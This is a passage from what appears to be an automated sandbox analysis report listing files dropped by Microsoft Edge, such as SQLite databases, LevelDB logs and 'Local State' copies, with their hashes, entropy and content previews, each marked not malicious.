Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10244068790109558
Encrypted:	false
SSDEEP:	6:Gu0evn40evnG89XCChslotGLNl0ml/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/c:+eJeespEjVl/PnnnnnnnnnnnvoQ/Eou
MD5:	897B5191B0412D54DB77EBCFFA668A45
SHA1:	439AC86345A87897522452DE3EAB4DE0F8A2E23F
SHA-256:	8733178777EAFC9F8599BA257003571104D6712087ED9C3C1454BBB1F4D6FC7A
SHA-512:	DB114B6C1BCEE05C5A4105540626590C3C2D350E29B3905AF671E1FEF8C06A350ADB52357A777B44DCA08B4B445A3043D49A8CD686B96F078F56008689DFE987
Malicious:	false
Preview:	..-.............M.......L.. ..\|.XE6.:..C.^N..n...-.............M.......L.. ..\|.XE6.:..C.^N..n.........I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8891874026445176
Encrypted:	false
SSDEEP:	384:Y8AfTzNv+6iUgOCFsDrcDnu1B4Tv8vyJyROyfy4uySxyqe:B9/c
MD5:	47D093001CC4CC295F8B11663340B6E6
SHA1:	07AB1BC4D79BEC719D04181006252006F1B77730
SHA-256:	6EB567E13962B9BB11449862A92765E09F488DBB0E396B62AF17BAF63C0F1E60
SHA-512:	828EC6A0C6454ECE2DF055EE74CD8144576F4BD31DBB732A7CD5D4EF1BBB955C3CF77D814B163C0C147FD1026E3E8F7593A0E01AEE7C6F46B54D52337FDD57BB
Malicious:	false
Preview:	7....-...........XE6.:...,\...n..........XE6.:...^.J.~.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	485
Entropy (8bit):	4.01482137162084
Encrypted:	false
SSDEEP:	6:/XntM+dll3sedhO38WrOuuuuuuuuuuu7illqOBU1RPsedhOU:lllc8zWrOuuuuuuuuuuuGllT21i8Z
MD5:	1FD00F6E9F420D24B5029C14D8805B80
SHA1:	5FC4D264A8CCDF77CBB4E0A988FC79F27E348B7D
SHA-256:	4FE4069E3EED8EB389CE02DD90BBC2471C9476467ADF3B9A831CE5C2EB552139
SHA-512:	4D25FEBA44E649DF3799C46073F4B04916C1B15D97195FB0EC5C5B3C0140D38997C0BE85E3E8B45D7B601B3E006474BEF83F3983D9D329B913DA99482B00C7AA
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1....0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=..................*;...............#38_h.......6.Z..W.F.....P.......P............V.e................`.E.0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.265989997100399
Encrypted:	false
SSDEEP:	6:HEhfWSo2Aq2PCHhJ23oH+TcwtfrK+IFUt8YEhfWS0vZZmw+YEhfWSLZFkwOCHhJS:khfw/vBYeb23FUt8/hfMZ/+/hfNF56Yq
MD5:	04B2C8C4A2F3105D7FEAB2A8905B2CA1
SHA1:	733CD0BEDB3C98C491B9ED0F14293A669785A9DD
SHA-256:	F136B33590745749603AB1307830F5BED2A017D97F71FF09396A8CFFBC01435C
SHA-512:	2E92E15AA725855BD46495D694A0D5138FC9513947356E783F90F7120ECD02370F8E73BAA3598C26DAC0DE1B3848D29F6F178E0258BA3C01EACBFAABCD7714F9
Malicious:	false
Preview:	2024/11/21-13:58:34.984 1e60 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/21-13:58:34.985 1e60 Recovering log #3.2024/11/21-13:58:34.986 1e60 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.265989997100399
Encrypted:	false
SSDEEP:	6:HEhfWSo2Aq2PCHhJ23oH+TcwtfrK+IFUt8YEhfWS0vZZmw+YEhfWSLZFkwOCHhJS:khfw/vBYeb23FUt8/hfMZ/+/hfNF56Yq
MD5:	04B2C8C4A2F3105D7FEAB2A8905B2CA1
SHA1:	733CD0BEDB3C98C491B9ED0F14293A669785A9DD
SHA-256:	F136B33590745749603AB1307830F5BED2A017D97F71FF09396A8CFFBC01435C
SHA-512:	2E92E15AA725855BD46495D694A0D5138FC9513947356E783F90F7120ECD02370F8E73BAA3598C26DAC0DE1B3848D29F6F178E0258BA3C01EACBFAABCD7714F9
Malicious:	false
Preview:	2024/11/21-13:58:34.984 1e60 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/21-13:58:34.985 1e60 Recovering log #3.2024/11/21-13:58:34.986 1e60 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	4.037333775091125
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvBs:G0nYUtypD3RUovhC+lvBOL+t3IvBs
MD5:	C5675C35B320A0898802E1ECFD3476E8
SHA1:	B6CA1C2EE1340662A7B495778416988006748327
SHA-256:	8E60BB9B60A9A242D016CF5425FF3D76A94911F197B3E4AB08A417E39C2832A5
SHA-512:	DAA3E9FADF4F69A88600460F48116E50BCE1C979E4AFA7114D1B8CCEC6626520CC3725D0BB845E0FCC8587A8690D4AC495C138AB1AAC2981CAEB9C485FA0CC67
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.264692494729524
Encrypted:	false
SSDEEP:	6:HEhfWPFIq2PCHhJ23oH+TcwtfrzAdIFUt8YEhfWkZZmw+YEhfWpFkwOCHhJ23oHf:khfDvBYeb9FUt8/hfTZ/+/hf0F56YebS
MD5:	DE02675A22850C03BB5F2A0C9B878689
SHA1:	EC309BF8A361305A30D64A74C452121DDEA1BCF1
SHA-256:	81597CA1608F7E5D63015FB6BE0053FB1BD26FC570C9C45BE728E0F9433DC45A
SHA-512:	E06B02C12C98F72FFF2B32C2506A760FA867FB87EF76AB8D2ACF1787A233D43983E2BD3D4A9DBF4A6A0B724FCDFA09D55980DE3A1C2D77C27B0F6A809B3D92CE
Malicious:	false
Preview:	2024/11/21-13:58:34.972 1e60 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/21-13:58:34.977 1e60 Recovering log #3.2024/11/21-13:58:34.978 1e60 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.264692494729524
Encrypted:	false
SSDEEP:	6:HEhfWPFIq2PCHhJ23oH+TcwtfrzAdIFUt8YEhfWkZZmw+YEhfWpFkwOCHhJ23oHf:khfDvBYeb9FUt8/hfTZ/+/hf0F56YebS
MD5:	DE02675A22850C03BB5F2A0C9B878689
SHA1:	EC309BF8A361305A30D64A74C452121DDEA1BCF1
SHA-256:	81597CA1608F7E5D63015FB6BE0053FB1BD26FC570C9C45BE728E0F9433DC45A
SHA-512:	E06B02C12C98F72FFF2B32C2506A760FA867FB87EF76AB8D2ACF1787A233D43983E2BD3D4A9DBF4A6A0B724FCDFA09D55980DE3A1C2D77C27B0F6A809B3D92CE
Malicious:	false
Preview:	2024/11/21-13:58:34.972 1e60 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/21-13:58:34.977 1e60 Recovering log #3.2024/11/21-13:58:34.978 1e60 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090485683335867
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kSCLmZt5tR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynwtGhOxqQoRTuiVIos
MD5:	A3C2BCF46742315D3877A04EC50F7257
SHA1:	1D8AF4FD601CBFDFEEB91789FC11CFDBEA7C76FA
SHA-256:	F3E03926FEE5AB3D4BDDBA47D56FB4C056B989323011A5BCF7C94E24D2297D64
SHA-512:	2CF64B94B9071CAD705F5BCAB4EAC3636F386D6D9F0023F71761CAC7A5159E36452E2899169B98DE66CFAFDFF0A50B79DC3680185230575153B7AD8DC360C462
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF29197.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090485683335867
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kSCLmZt5tR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynwtGhOxqQoRTuiVIos
MD5:	A3C2BCF46742315D3877A04EC50F7257
SHA1:	1D8AF4FD601CBFDFEEB91789FC11CFDBEA7C76FA
SHA-256:	F3E03926FEE5AB3D4BDDBA47D56FB4C056B989323011A5BCF7C94E24D2297D64
SHA-512:	2CF64B94B9071CAD705F5BCAB4EAC3636F386D6D9F0023F71761CAC7A5159E36452E2899169B98DE66CFAFDFF0A50B79DC3680185230575153B7AD8DC360C462
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF291b7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090485683335867
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kSCLmZt5tR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynwtGhOxqQoRTuiVIos
MD5:	A3C2BCF46742315D3877A04EC50F7257
SHA1:	1D8AF4FD601CBFDFEEB91789FC11CFDBEA7C76FA
SHA-256:	F3E03926FEE5AB3D4BDDBA47D56FB4C056B989323011A5BCF7C94E24D2297D64
SHA-512:	2CF64B94B9071CAD705F5BCAB4EAC3636F386D6D9F0023F71761CAC7A5159E36452E2899169B98DE66CFAFDFF0A50B79DC3680185230575153B7AD8DC360C462
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2936c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090485683335867
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kSCLmZt5tR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynwtGhOxqQoRTuiVIos
MD5:	A3C2BCF46742315D3877A04EC50F7257
SHA1:	1D8AF4FD601CBFDFEEB91789FC11CFDBEA7C76FA
SHA-256:	F3E03926FEE5AB3D4BDDBA47D56FB4C056B989323011A5BCF7C94E24D2297D64
SHA-512:	2CF64B94B9071CAD705F5BCAB4EAC3636F386D6D9F0023F71761CAC7A5159E36452E2899169B98DE66CFAFDFF0A50B79DC3680185230575153B7AD8DC360C462
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2ba3e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090485683335867
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kSCLmZt5tR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynwtGhOxqQoRTuiVIos
MD5:	A3C2BCF46742315D3877A04EC50F7257
SHA1:	1D8AF4FD601CBFDFEEB91789FC11CFDBEA7C76FA
SHA-256:	F3E03926FEE5AB3D4BDDBA47D56FB4C056B989323011A5BCF7C94E24D2297D64
SHA-512:	2CF64B94B9071CAD705F5BCAB4EAC3636F386D6D9F0023F71761CAC7A5159E36452E2899169B98DE66CFAFDFF0A50B79DC3680185230575153B7AD8DC360C462
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2f802.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090485683335867
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kSCLmZt5tR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynwtGhOxqQoRTuiVIos
MD5:	A3C2BCF46742315D3877A04EC50F7257
SHA1:	1D8AF4FD601CBFDFEEB91789FC11CFDBEA7C76FA
SHA-256:	F3E03926FEE5AB3D4BDDBA47D56FB4C056B989323011A5BCF7C94E24D2297D64
SHA-512:	2CF64B94B9071CAD705F5BCAB4EAC3636F386D6D9F0023F71761CAC7A5159E36452E2899169B98DE66CFAFDFF0A50B79DC3680185230575153B7AD8DC360C462
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a430.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090485683335867
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kSCLmZt5tR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynwtGhOxqQoRTuiVIos
MD5:	A3C2BCF46742315D3877A04EC50F7257
SHA1:	1D8AF4FD601CBFDFEEB91789FC11CFDBEA7C76FA
